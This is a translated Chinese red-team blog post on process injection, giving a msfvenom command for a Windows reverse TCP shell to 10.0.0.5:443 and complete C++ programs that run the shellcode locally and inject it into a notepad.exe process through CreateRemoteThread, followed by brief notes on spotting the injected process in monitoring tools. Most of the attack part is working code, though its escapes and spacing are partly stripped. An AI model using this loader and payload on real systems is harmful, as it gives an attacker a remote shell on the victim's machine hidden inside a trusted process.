【翻譯】創建線程shellcode注入
- 2019 年 10 月 6 日
- 筆記
本文作者:Ovpirit_Three(Ms08067紅隊小組成員)
注入shellcode進入一個本地進程
這次實現探索了將shellcode注入進程內存並執行它的一些經典方法
一、執行shellcode在本地進程
一個簡單的關於如何直接執行一個c++程序的shellcode的測試
為逆向的shell生成shell代碼:
命令如下:
msfvenom -p windows/x64/shell_reverse_tcpLHOST=10.0.0.5LPORT=443-f c -b x00x0ax0d
c++代碼注入和調用shellcode:
inject-local-process.cpp #include"stdafx.h" #include"Windows.h" intmain() { Unsignedchar shellcode[]= "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff" "xffxffx48xbbx1dxbexa2x7bx2bx90xe1xecx48x31x58" "x27x48x2dxf8xffxffxffxe2xf4xe1xf6x21x9fxdbx78" "x21xecx1dxbexe3x2ax6axc0xb3xbdx4bxf6x93xa9x4e" "xd8x6axbex7dxf6x29x29x33xd8x6axbex3dxf6x29x09" "x7bxd8xeex5bx57xf4xefx4axe2xd8xd0x2cxb1x82xc3" "x07x29xbcxc1xadxdcx77xafx3ax2ax51x03x01x4fxff" "xf3x33xa0xc2xc1x67x5fx82xeax7axfbx1bx61x64x1d" "xbexa2x33xaex50x95x8bx55xbfx72x2bxa0xd8xf9xa8" "x96xfex82x32x2ax40x02xbax55x41x6bx3axa0xa4x69" "xa4x1cx68xefx4axe2xd8xd0x2cxb1xffx63xb2x26xd1" "xe0x2dx25x5exd7x8ax67x93xadxc8x15xfbx9bxaax5e" "x48xb9xa8x96xfex86x32x2ax40x87xadx96xb2xeax3f" "xa0xd0xfdxa5x1cx6exe3xf0x2fx18xa9xedxcdxffxfa" "x3ax73xcexb8xb6x5cxe6xe3x22x6axcaxa9x6fxf1x9e" "xe3x29xd4x70xb9xadx44xe4xeaxf0x39x79xb6x13xe2" "x41xffx32x95xe7x92xdex42x8dx90x7bx2bxd1xb7xa5" "x94x58xeaxfaxc7x30xe0xecx1dxf7x2bx9ex62x2cxe3" "xecx1cx05xa8x7bx2bx95xa0xb8x54x37x46x37xa2x61" "xa0x56x51xc9x84x7cxd4x45xadx65xf7xd6xa3x7ax2b" "x90xb8xadxa7x97x22x10x2bx6fx34xbcx4dxf3x93xb2" "x66xa1x21xa4xe2x7exeaxf2xe9xd8x1ex2cx55x37x63" "x3ax91x7axeex33xfdx41x77x33xa2x57x8bxfcx5cxe6" "xeexf2xc9xd8x68x15x5cx04x3bxdex5fxf1x1ex39x55" "x3fx66x3bx29x90xe1xa5xa5xddxcfx1fx2bx90xe1xec" "x1dxffxf2x3ax7bxd8x68x0ex4axe9xf5x36x1ax50x8b" "xe1x44xffxf2x99xd7xf6x26xa8x39xeaxa3x7ax63x1d" "xa5xc8x05x78xa2x13x63x19x07xbax4dxffxf2x3ax7b" "xd1xb1xa5xe2x7exe3x2bx62x6fx29xa1x94x7fxeexf2" "xeaxd1x5bx95xd1x81x24x84xfexd8xd0x3ex55x41x68" "xf0x25xd1x5bxe4x9axa3xc2x84xfex2bx11x59xbfxe8" "xe3xc1x8dx05x5cx71xe2x6bxeaxf8xefxb8xddxeax61" "xb4x22x80xcbxe5xe4x57x5axadxd0x14x41x90xb8xad" "x94x64x5dxaex2bx90xe1xec"; void*exec =VirtualAlloc(0,sizeofshellcode,MEM_COMMIT,PAGE_EXECUTE_READWRITE); memcpy(exec,shellcode,sizeofshellcode); ((void(*)())exec)(); return0; }
在編譯之前,出於好奇,讓我們看看在反彙編器中生成的shellcode二進制代碼,這樣我們就可以大致了解我們的c++代碼是如何翻譯成x64的機器碼的:
同樣出於好奇,想要去觀察這個被注入的shellcode在被注入的進程中是什麼樣子的並且他的實際位置在哪裡。生成一個32bit的shellcode的二進制代碼(msfvenom -p windows/shell_reverse_tcpLHOST=10.0.0.5 LPORT=443 -f c -b x00x0ax0d),這個二進制代碼是被很好的定位在主線程的棧中
返回到x64位shellcode中-編譯並且執行這個二進制代碼,它給了我們預期的反向shell
二、在遠程進程中執行shellcode
下面的代碼將會把shellcode注入到PID為5428的notepad.exe的進程中,他將會初始化一個反向的shell返回到攻擊者處
inject-remote-process.cpp
#include"stdafx.h" #include"Windows.h" intmain(intargc,char*argv[]) { unsignedcharshellcode[]= "x48x31xc9x48x81xe9xc6xffxffxffx48x8dx05xefxff" "xffxffx48xbbx1dxbexa2x7bx2bx90xe1xecx48x31x58" "x27x48x2dxf8xffxffxffxe2xf4xe1xf6x21x9fxdbx78" "x21xecx1dxbexe3x2ax6axc0xb3xbdx4bxf6x93xa9x4e" "xd8x6axbex7dxf6x29x29x33xd8x6axbex3dxf6x29x09" "x7bxd8xeex5bx57xf4xefx4axe2xd8xd0x2cxb1x82xc3" "x07x29xbcxc1xadxdcx77xafx3ax2ax51x03x01x4fxff" "xf3x33xa0xc2xc1x67x5fx82xeax7axfbx1bx61x64x1d" "xbexa2x33xaex50x95x8bx55xbfx72x2bxa0xd8xf9xa8" "x96xfex82x32x2ax40x02xbax55x41x6bx3axa0xa4x69" "xa4x1cx68xefx4axe2xd8xd0x2cxb1xffx63xb2x26xd1" "xe0x2dx25x5exd7x8ax67x93xadxc8x15xfbx9bxaax5e" "x48xb9xa8x96xfex86x32x2ax40x87xadx96xb2xeax3f" "xa0xd0xfdxa5x1cx6exe3xf0x2fx18xa9xedxcdxffxfa" "x3ax73xcexb8xb6x5cxe6xe3x22x6axcaxa9x6fxf1x9e" "xe3x29xd4x70xb9xadx44xe4xeaxf0x39x79xb6x13xe2" "x41xffx32x95xe7x92xdex42x8dx90x7bx2bxd1xb7xa5" "x94x58xeaxfaxc7x30xe0xecx1dxf7x2bx9ex62x2cxe3" "xecx1cx05xa8x7bx2bx95xa0xb8x54x37x46x37xa2x61" "xa0x56x51xc9x84x7cxd4x45xadx65xf7xd6xa3x7ax2b" "x90xb8xadxa7x97x22x10x2bx6fx34xbcx4dxf3x93xb2" "x66xa1x21xa4xe2x7exeaxf2xe9xd8x1ex2cx55x37x63" "x3ax91x7axeex33xfdx41x77x33xa2x57x8bxfcx5cxe6" "xeexf2xc9xd8x68x15x5cx04x3bxdex5fxf1x1ex39x55" "x3fx66x3bx29x90xe1xa5xa5xddxcfx1fx2bx90xe1xec" "x1dxffxf2x3ax7bxd8x68x0ex4axe9xf5x36x1ax50x8b" "xe1x44xffxf2x99xd7xf6x26xa8x39xeaxa3x7ax63x1d" "xa5xc8x05x78xa2x13x63x19x07xbax4dxffxf2x3ax7b" "xd1xb1xa5xe2x7exe3x2bx62x6fx29xa1x94x7fxeexf2" "xeaxd1x5bx95xd1x81x24x84xfexd8xd0x3ex55x41x68" "xf0x25xd1x5bxe4x9axa3xc2x84xfex2bx11x59xbfxe8" "xe3xc1x8dx05x5cx71xe2x6bxeaxf8xefxb8xddxeax61" "xb4x22x80xcbxe5xe4x57x5axadxd0x14x41x90xb8xad" "x94x64x5dxaex2bx90xe1xec"; HANDLE processHandle; HANDLE remoteThread; PVOID remoteBuffer; printf("Injectingto PID: %i",atoi(argv[1])); processHandle =OpenProcess(PROCESS_ALL_ACCESS,FALSE,DWORD(atoi(argv[1]))); remoteBuffer =VirtualAllocEx(processHandle,NULL,sizeofshellcode,(MEM_RESERVE |MEM_COMMIT),PAGE_EXECUTE_READWRITE); WriteProcessMemory(processHandle,remoteBuffer,shellcode,sizeofshellcode,NULL); remoteThread =CreateRemoteThread(processHandle,NULL,0,(LPTHREAD_START_ROUTINE)remoteBuffer,NULL,0,NULL); CloseHandle(processHandle); return0; }
在展示shellcode注入notepad之前,它並沒有任何TCP連接
現在:一旦代碼編譯並執行,監視API調用的系統就會發現notepad正在做一些它本不應該做的事情——生成cmd.exe並啟動TCP連接:
在ProcExplorer中檢查記事本再次顯示了一個已建立的TCP連接,帶着cmd.exe作為子進程建立的
注意,notepad加載了一個ws2_32.dll模塊,在正常情況下,這個模塊不應該發生,因為該模塊負責socket管理